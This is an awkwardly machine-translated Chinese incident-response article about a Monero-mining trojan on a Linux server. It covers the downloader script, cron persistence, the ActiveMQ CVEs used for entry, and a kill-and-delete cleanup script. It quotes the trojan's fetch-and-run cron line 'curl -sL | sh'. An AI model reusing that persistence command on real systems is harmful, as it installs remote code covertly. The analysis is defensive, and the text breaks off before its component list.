在Linux平台上检测和分析Monero采矿木马

最近，我收到客户的报告，说他们机房中的RedHat服务器卡住了，导致许多服务响应非常缓慢. 通过远程访问客户端计算机，发现一个进程占用了700％以上的CPU使用率. 通过分析，它被描述为针对门罗币的木马入侵. 本文记录了处理事件的关键过程以及对挖掘木马的核心代码的分析，这使遇到相同木马家族的事件响应同事可以方便地快速检测并杀死和定性威胁事件.

0 01木马的行为和查杀过程

该木马使用r88.sh作为下载器来首先控制服务器，然后通过判断当前帐户的权限是否为root来进行下一步. 如果是root用户，它将位于目录/ var / spool / cron / root和/ var / spool /下将计划的任务写入cron / crontabs / root下* / 5 * * * * curl -sL | sh，恢复此短链接的位置. 如果它是非root用户帐户，则不会写入任何计划任务. 然后它将执行一系列操作，例如下载并运行rootv2.sh或lowerv2.sh（根据当前帐户是否为root选择下载脚本）.

在系统中执行木马的挖矿部分bash和bashe之后，它们开始挖矿而没有任何隐藏. CPU直接占几百，这简直是粗略的. 我们是否应该根据机器的当前运行状况考虑人道开采？

简单的流程保护行为

为了防止被杀死后的挖掘，它通过编写定时任务，使用curl和wget远程下载要在特定时间间隔执行的Shell脚本来实现简单的进程保护，并且将执行脚本的功能. 本地路径中已经存在的程序，如果不存在，则将下载并再次执行挖掘程序.

该木马在多个路径上编写了计时任务以维护访问权限，包括: / var / spool / cron / root，/ var / spool / cron / crontabs / root和/etc/cron.d. 前两个位置直接显示在文件r88.sh中:

要清除木马，您需要清除三个位置中的所有定时任务. 否则，木马会重新出现并重新开始挖掘.

幸运的是，该木马不具有被感染和传播的蠕虫的属性. 据猜测，攻击者直接使用一般漏洞来随意攻击植入的挖矿下载器. 在服务器上进行渗透测试之后，确实发现了Apache ActiveMQ Fileserver远程执行代码漏洞（CVE-2016-3088）和ActiveMQ反序列化漏洞（CVE-2015-5254）. 因此，对于公司来说，最好让安全从业人员在启动服务之前进行安全评估和增强，这将更加安全.

1）尝试杀死bashd和bashe进程以及shell进程root.sh/rootv2.sh/lower.sh/lowerv2.sh和r88.sh

2）清除木马程序在/ tmp目录中发布的文件: /tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh、/tmp/r88.sh、/ tmp / pools.txt，/ tmp / config.json等

3）在3个位置清除定时任务: / var / spool / cron / root，/ var / spool / cron / crontabs / root和/etc/cron.d

相应的自动查杀脚本如下:

#!/bin/bashfor ((i=1;i 0;i++)) ps -ef | grep "/tmp/bashd -p bashd" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "/tmp/bashe -p bashd" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/root.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/r88.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/rootv2.sh" | grep -v grep | awk '{print $2}' | xargs killps -ef | grep "bash /tmp/lower.sh" | grep -v grep | awk '{print $2}' | xargs killps -ef | grep "bash /tmp/lowerv2.sh" | grep -v grep | awk '{print $2}' | xargs kill rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/rootdone

0 02 Trojan核心代码分析Trojan整体编写逻辑

该木马使用Linux系统的Shell脚本编写Downloader，并使用curl和wget命令启动网络请求以下载木马的其他组件. 尽管可以轻松分析代码，但降低了编写成本和门槛. 这也是当前恶意代码使用的脚本语言的一种写作趋势.

此木马包含多个脚本和可执行文件:

Linux公社的RSS地址:

本文将永久更新链接地址:

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/shouji/article-291552-1.html